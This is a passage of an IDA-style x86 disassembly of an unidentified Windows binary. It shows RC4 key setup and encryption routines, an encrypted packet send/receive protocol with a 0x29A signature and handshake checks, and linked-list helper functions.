var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_4018DD:				; CODE XREF: sub_4018BB+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018DD
		and	[ebp+var_8], 0
		xor	edi, edi
		xor	ecx, ecx


loc_4018F1:				; CODE XREF: sub_4018BB+77j
		lea	eax, [ebx+ecx*4]
		mov	[ebp+var_C], eax
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		mov	esi, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+esi]
		add	eax, edx
		movzx	edi, al
		mov	eax, [ebx+edi*4]
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+edi*4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		cmp	eax, [ebp+arg_8]
		jl	short loc_40192B
		and	[ebp+var_8], 0


loc_40192B:				; CODE XREF: sub_4018BB+6Aj
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018F1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4018BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40193B	proc near		; CODE XREF: sub_401ADA+86p
					; sub_401BAC+71p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+400h]
		mov	edi, [eax+404h]
		mov	ecx, eax
		and	[ebp+var_8], 0
		jmp	short loc_4019A2
; ---------------------------------------------------------------------------


loc_40195B:				; CODE XREF: sub_40193B+6Dj
		lea	eax, [ebx+1]
		movzx	ebx, al
		lea	eax, [ecx+ebx*4]
		mov	edx, [eax]
		mov	[ebp+var_4], edx
		add	edx, edi
		movzx	edi, dl
		mov	edx, [ecx+edi*4]
		mov	[ebp+var_C], edx
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+edi*4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		add	eax, edx
		mov	[ebp+var_10], eax
		movsx	edx, byte ptr [eax]
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	eax, esi
		movzx	eax, al
		xor	edx, [ecx+eax*4]
		mov	al, dl
		mov	edx, [ebp+var_10]
		mov	[edx], al
		inc	[ebp+var_8]


loc_4019A2:				; CODE XREF: sub_40193B+1Ej
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jl	short loc_40195B
		mov	edx, [ebp+arg_0]
		mov	[edx+400h], ebx
		mov	edx, [ebp+arg_0]
		mov	[edx+404h], edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40193B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019C3	proc near		; CODE XREF: sub_403C3F+EFp

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	474h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		push	10020h
		call	sub_401048
		pop	ecx
		mov	[esi+46Ch], eax
		mov	[ebp+var_1], 5Ah
		xor	ebx, ebx


loc_4019ED:				; CODE XREF: sub_4019C3+3Fj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+4], al
		movsx	eax, [ebp+var_1]
		lea	eax, [ebx+eax*2]
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_4019ED
		mov	[ebp+var_1], 0A5h
		xor	ebx, ebx


loc_401A0A:				; CODE XREF: sub_4019C3+5Dj
		mov	al, [ebp+var_1]
		mov	[esi+ebx+44h], al
		movsx	eax, [ebp+var_1]
		add	eax, eax
		sub	eax, ebx
		mov	[ebp+var_1], al
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_401A0A
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [esi+46Ch]
		mov	[esi+470h], eax
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4019C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A3B	proc near		; CODE XREF: sub_403C3F+37Fp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	dword ptr [ebx+46Ch]
		call	sub_401076
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx
		pop	ebx
		retn
sub_401A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A55	proc near		; CODE XREF: sub_401ADA+27p
					; sub_401BAC+36p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	40h
		lea	eax, [ebx+4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_4018BB
		add	esp, 0Ch
		mov	al, [ebx+4]
		mov	[ebp+var_1], al
		push	3Fh
		lea	eax, [ebx+5]
		push	eax
		lea	eax, [ebx+4]
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		mov	al, [ebp+var_1]
		mov	[ebx+43h], al
		xor	esi, esi
		xor	edi, edi
		jmp	short loc_401AAD
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_401A55+5Bj
		lea	eax, [ebx+esi+4]
		mov	dl, [ebx+edi+44h]
		add	[eax], dl
		lea	eax, [edi+1]
		mov	ecx, 20h
		cdq
		idiv	ecx
		mov	edi, edx
		inc	esi


loc_401AAD:				; CODE XREF: sub_401A55+3Ej
		cmp	esi, 40h
		jl	short loc_401A95
		mov	al, [ebx+63h]
		mov	[ebp+var_1], al
		mov	esi, 1Fh


loc_401ABD:				; CODE XREF: sub_401A55+76j
		lea	eax, [esi-1]
		mov	al, [ebx+eax+44h]
		mov	[ebx+esi+44h], al
		dec	esi
		test	esi, esi
		jg	short loc_401ABD
		mov	al, [ebp+var_1]
		mov	[ebx+44h], al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401A55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ADA	proc near		; CODE XREF: sub_401B8F+13p
					; sub_401D76+8Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jl	short loc_401AF3
		cmp	esi, 0FFFFh
		jle	short loc_401AFA


loc_401AF3:				; CODE XREF: sub_401ADA+Fj
		xor	eax, eax
		jmp	loc_401B88
; ---------------------------------------------------------------------------


loc_401AFA:				; CODE XREF: sub_401ADA+17j
		cmp	[ebp+arg_10], 0
		jz	short loc_401B07
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401B07:				; CODE XREF: sub_401ADA+24j
		mov	edi, [ebx+46Ch]
		mov	word ptr [edi],	29Ah
		add	edi, 2
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 2
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		test	esi, esi
		jz	short loc_401B39
		push	esi
		push	[ebp+arg_8]
		push	edi
		call	sub_4079C0
		add	esp, 0Ch


loc_401B39:				; CODE XREF: sub_401ADA+50j
		add	esi, 6
		push	esi
		movzx	eax, [ebp+arg_4]
		push	eax
		push	offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jz	short loc_401B68
		push	esi
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401B68:				; CODE XREF: sub_401ADA+79j
		push	esi
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_401787
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], esi
		jge	short loc_401B85
		xor	eax, eax
		jmp	short loc_401B88
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401ADA+A5j
		xor	eax, eax
		inc	eax


loc_401B88:				; CODE XREF: sub_401ADA+1Bj
					; sub_401ADA+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401ADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B8F	proc near		; CODE XREF: DMN0:00401F47p
					; sub_403C3F+20Bp

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		movzx	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401ADA
		add	esp, 14h
		pop	ebp
		retn
sub_401B8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BAC	proc near		; CODE XREF: sub_401D5B+11p
					; DMN0:00401E35p

var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_10]
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	short loc_401BD5
		cmp	eax, 0FFFFh
		jle	short loc_401BDD


loc_401BD5:				; CODE XREF: sub_401BAC+20j
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401BDD:				; CODE XREF: sub_401BAC+27j
		test	esi, esi
		jz	short loc_401BE8
		push	ebx
		call	sub_401A55
		pop	ecx


loc_401BE8:				; CODE XREF: sub_401BAC+33j
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C0F
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C0F:				; CODE XREF: sub_401BAC+51j
		test	esi, esi
		jz	short loc_401C25
		push	2
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C25:				; CODE XREF: sub_401BAC+65j
		cmp	[ebp+var_6], 29Ah
		jz	short loc_401C48
		movzx	eax, [ebp+var_6]
		push	eax
		push	offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, 0FFFFFFFEh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C48:				; CODE XREF: sub_401BAC+7Fj
		push	2
		push	[ebp+arg_4]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401C6E
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401C6E:				; CODE XREF: sub_401BAC+B0j
		test	esi, esi
		jz	short loc_401C83
		push	2
		push	[ebp+arg_4]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401C83:				; CODE XREF: sub_401BAC+C4j
		mov	eax, [ebp+arg_4]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, 2
		jge	short loc_401CBD
		mov	edx, [ebp+arg_4]
		mov	word ptr [edx],	0
		or	eax, 0FFFFFFFFh
		jmp	loc_401D54
; ---------------------------------------------------------------------------


loc_401CBD:				; CODE XREF: sub_401BAC+FFj
		test	esi, esi
		jz	short loc_401CD3
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401CD3:				; CODE XREF: sub_401BAC+113j
		push	[ebp+arg_C]
		push	[ebp+var_4]
		push	offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n"
		call	nullsub_2
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_401D0B
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		push	dword ptr [ebx]
		call	sub_4016DC
		add	esp, 0Ch
		mov	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_401D0B
		or	eax, 0FFFFFFFFh
		jmp	short loc_401D54
; ---------------------------------------------------------------------------


loc_401D0B:				; CODE XREF: sub_401BAC+13Ej
					; sub_401BAC+158j
		test	esi, esi
		jz	short loc_401D24
		push	[ebp+var_4]
		push	dword ptr [ebx+46Ch]
		lea	eax, [ebx+64h]
		push	eax
		call	sub_40193B
		add	esp, 0Ch


loc_401D24:				; CODE XREF: sub_401BAC+161j
		cmp	[ebp+arg_8], 0
		jz	short loc_401D51
		mov	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jle	short loc_401D38
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax


loc_401D38:				; CODE XREF: sub_401BAC+184j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_401D51
		push	eax
		push	dword ptr [ebx+46Ch]
		push	[ebp+arg_8]
		call	sub_4079C0
		add	esp, 0Ch


loc_401D51:				; CODE XREF: sub_401BAC+17Cj
					; sub_401BAC+191j
		mov	eax, [ebp+var_4]


loc_401D54:				; CODE XREF: sub_401BAC+2Cj
					; sub_401BAC+5Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D5B	proc near		; CODE XREF: sub_401F51+18p
					; sub_403C3F+26Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401BAC
		add	esp, 14h
		pop	ebp
		retn
sub_401D5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D76	proc near		; CODE XREF: sub_403C3F+166p

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		lea	edi, [ebp+var_80]
		lea	edi, [ebp+var_80]
		mov	word ptr [edi],	1
		add	edi, 2
		mov	word ptr [edi],	0Bh
		add	edi, 2
		and	dword ptr [edi], 0
		add	edi, 4
		mov	ax, [ebp+arg_4]
		mov	[edi], ax
		add	edi, 4
		or	esi, 1000h
		mov	ax, si
		mov	[edi], ax
		add	edi, 2
		mov	word ptr [edi],	40h
		add	edi, 2
		mov	word ptr [edi],	20h
		add	edi, 2
		push	40h
		lea	eax, [ebx+4]
		push	eax
		push	edi
		call	sub_4079C0
		add	esp, 0Ch
		add	edi, 40h
		push	20h
		lea	eax, [ebx+44h]
		push	eax
		push	edi
		call	sub_4079C0
		add	esp, 0Ch
		add	edi, 20h
		push	0
		lea	eax, [ebp+var_80]
		mov	edx, edi
		sub	edx, eax
		push	edx
		lea	eax, [ebp+var_80]
		push	eax
		push	1
		push	ebx
		call	sub_401ADA
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401D76	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp-80h]
		push	0
		push	80h
		lea	eax, [ebp-80h]
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_401BAC
		add	esp, 14h
		mov	esi, eax
		cmp	word ptr [ebp-84h], 1
		jnz	short loc_401E4E
		cmp	esi, 0Ah
		jge	short loc_401E7B


loc_401E4E:				; CODE XREF: DMN0:00401E47j
		cmp	esi, 0Ah
		jge	short loc_401E60
		push	offset aHandshakeRecvE ; "Handshake: recv() error\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401E74
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: DMN0:00401E51j
		movzx	eax, word ptr [ebp-84h]
		push	eax
		push	offset aHandshakeBadPa ; "Handshake: bad packed	(%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx


loc_401E74:				; CODE XREF: DMN0:00401E5Ej
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E7B:				; CODE XREF: DMN0:00401E4Cj
		lea	ebx, [ebp-80h]
		cmp	word ptr [ebx],	1
		jz	short loc_401E9B
		movzx	eax, word ptr [ebx]
		push	eax
		push	offset aHandshakeBadVe ; "Handshake: bad version (%i)\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	loc_401F2F
; ---------------------------------------------------------------------------


loc_401E9B:				; CODE XREF: DMN0:00401E82j
		add	ebx, 2
		mov	edx, [ebp+0Ch]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		add	ebx, 4
		mov	edx, [ebp+10h]
		mov	ax, [ebx]
		mov	[edx], ax
		add	ebx, 4
		mov	edx, [ebp+14h]
		movzx	eax, word ptr [ebx]
		mov	[edx], eax
		add	ebx, 2
		mov	ax, [ebx]
		mov	[ebp-82h], ax
		add	ebx, 2
		cmp	word ptr [ebp-82h], 40h
		jz	short loc_401EDE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EDE:				; CODE XREF: DMN0:00401ED8j
		mov	di, [ebx]
		add	ebx, 2
		cmp	di, 20h
		jz	short loc_401EEE
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: DMN0:00401EE8j
		sub	esi, 10h
		movzx	eax, word ptr [ebp-82h]
		movzx	edx, di
		add	eax, edx
		cmp	esi, eax
		jge	short loc_401F05
		xor	eax, eax
		jmp	short loc_401F2F
; ---------------------------------------------------------------------------


loc_401F05:				; CODE XREF: DMN0:00401EFFj
		push	40h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		add	ebx, 40h
		push	20h
		push	ebx
		mov	eax, [ebp+8]
		add	eax, 44h
		push	eax
		call	sub_4079C0
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_401F2F:				; CODE XREF: DMN0:00401E76j
					; DMN0:00401E96j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		push	29Ah
		push	dword ptr [ebp+8]
		call	sub_401B8F
		add	esp, 10h
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F51	proc near		; CODE XREF: sub_403C3F+18Ep
					; sub_403C3F+245p

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		cmp	[ebp+var_4], 29Ah
		jnz	short loc_401F80
		cmp	ebx, 1
		jz	short loc_401F85


loc_401F80:				; CODE XREF: sub_401F51+28j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401F89
; ---------------------------------------------------------------------------


loc_401F85:				; CODE XREF: sub_401F51+2Dj
		movzx	eax, [ebp+var_2]


loc_401F89:				; CODE XREF: sub_401F51+32j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401F51	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F8E	proc near		; CODE XREF: sub_406A81+3Ap
		push	ebx
		push	10h
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		pop	ebx
		retn
sub_401F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F9B	proc near		; CODE XREF: DMN0:00401FD4p
					; DMN0:004021DFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_401FC6
		mov	esi, [ebx+4]
		jmp	short loc_401FB7
; ---------------------------------------------------------------------------


loc_401FAB:				; CODE XREF: sub_401F9B+1Ej
		mov	edi, esi
		mov	esi, [esi+8]
		push	edi
		call	sub_401076
		pop	ecx


loc_401FB7:				; CODE XREF: sub_401F9B+Ej
		test	esi, esi
		jnz	short loc_401FAB
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0


loc_401FC6:				; CODE XREF: sub_401F9B+9j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F9B	endp

; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jz	short loc_401FE1
		push	ebx
		call	sub_401F9B
		pop	ecx
		push	ebx
		call	sub_401076
		pop	ecx


loc_401FE1:				; CODE XREF: DMN0:00401FD1j
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401FE3	proc near		; CODE XREF: sub_40417F+4Bp
					; sub_404645+B0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_4]
		mov	bx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_0]
		mov	edx, [eax+4]
		jmp	short loc_40200A
; ---------------------------------------------------------------------------


loc_401FF6:				; CODE XREF: sub_401FE3+29j
		cmp	[edx+4], ecx
		jnz	short loc_402007
		test	bx, bx
		jz	short loc_402005
		cmp	[edx], bx
		jnz	short loc_402007


loc_402005:				; CODE XREF: sub_401FE3+1Bj
		jmp	short loc_40200E
; ---------------------------------------------------------------------------


loc_402007:				; CODE XREF: sub_401FE3+16j
					; sub_401FE3+20j
		mov	edx, [edx+8]


loc_40200A:				; CODE XREF: sub_401FE3+11j
		test	edx, edx
		jnz	short loc_401FF6


loc_40200E:				; CODE XREF: sub_401FE3:loc_402005j
		mov	eax, edx
		pop	ebx
		retn
sub_401FE3	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebx+4]
		mov	[esi+8], eax
		mov	[ebx+4], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_402032
		mov	[ebx], esi


loc_402032:				; CODE XREF: DMN0:0040202Ej
		inc	dword ptr [ebx+8]
		mov	eax, [esp+10h]
		mov	[esi+4], eax
		mov	ax, [esp+14h]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402049	proc near		; CODE XREF: DMN0:004021F6p
					; sub_403B86+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		push	14h
		call	sub_401048
		pop	ecx
		mov	esi, eax
		cmp	dword ptr [ebx], 0
		jz	short loc_402067
		mov	edx, [ebx]
		mov	[edx+8], esi
		mov	[ebx], esi
		jmp	short loc_40206C
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_402049+13j
		mov	[ebx], esi
		mov	[ebx+4], esi


loc_40206C:				; CODE XREF: sub_402049+1Cj
		inc	dword ptr [ebx+8]
		mov	eax, [esp+8+arg_4]
		mov	[esi+4], eax
		mov	ax, [esp+8+arg_8]
		mov	[esi], ax
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402049	endp


; =============== S U B	R O U T	I N E =======================================



sub_402083	proc near		; CODE XREF: DMN0:0040219Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= word ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	bx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_4020B0
; ---------------------------------------------------------------------------


loc_402096:				; CODE XREF: sub_402083+2Fj
		mov	eax, [esp+0Ch+arg_4]
		cmp	[esi+4], eax
		jnz	short loc_4020AB
		test	bx, bx
		jz	short loc_4020A9
		cmp	[esi], bx
		jnz	short loc_4020AB


loc_4020A9:				; CODE XREF: sub_402083+1Fj
		jmp	short loc_4020B4
; ---------------------------------------------------------------------------


loc_4020AB:				; CODE XREF: sub_402083+1Aj
					; sub_402083+24j
		mov	edi, esi
		mov	esi, [esi+8]


loc_4020B0:				; CODE XREF: sub_402083+11j
		test	esi, esi
		jnz	short loc_402096


loc_4020B4:				; CODE XREF: sub_402083:loc_4020A9j
		test	esi, esi
		jnz	short loc_4020BC
		xor	eax, eax
		jmp	short loc_402102
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_402083+33j
		test	edi, edi
		jz	short loc_4020D6
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_4020CE
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4020CE:				; CODE XREF: sub_402083+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_4020F1
; ---------------------------------------------------------------------------


loc_4020D6:				; CODE XREF: sub_402083+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4020F1
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_4020F1:				; CODE XREF: sub_402083+51j
					; sub_402083+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


loc_402102:				; CODE XREF: sub_402083+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402083	endp


; =============== S U B	R O U T	I N E =======================================



sub_402106	proc near		; CODE XREF: DMN0:004021C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_402128
; ---------------------------------------------------------------------------


loc_402118:				; CODE XREF: sub_402106+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_40212C
		mov	edi, esi
		mov	esi, [esi+8]


loc_402128:				; CODE XREF: sub_402106+10j
		test	esi, esi
		jnz	short loc_402118


loc_40212C:				; CODE XREF: sub_402106+1Bj
		test	esi, esi
		jnz	short loc_402134
		xor	eax, eax
		jmp	short loc_40217A
; ---------------------------------------------------------------------------


loc_402134:				; CODE XREF: sub_402106+28j
		test	edi, edi
		jz	short loc_40214E
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_402146
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_402146:				; CODE XREF: sub_402106+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_402169
; ---------------------------------------------------------------------------


loc_40214E:				; CODE XREF: sub_402106+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_402169
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_402169:				; CODE XREF: sub_402106+46j
					; sub_402106+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_401076
		pop	ecx
		xor	eax, eax
		inc	eax


loc_40217A:				; CODE XREF: sub_402106+2Cj
		pop	edi
		pop	esi
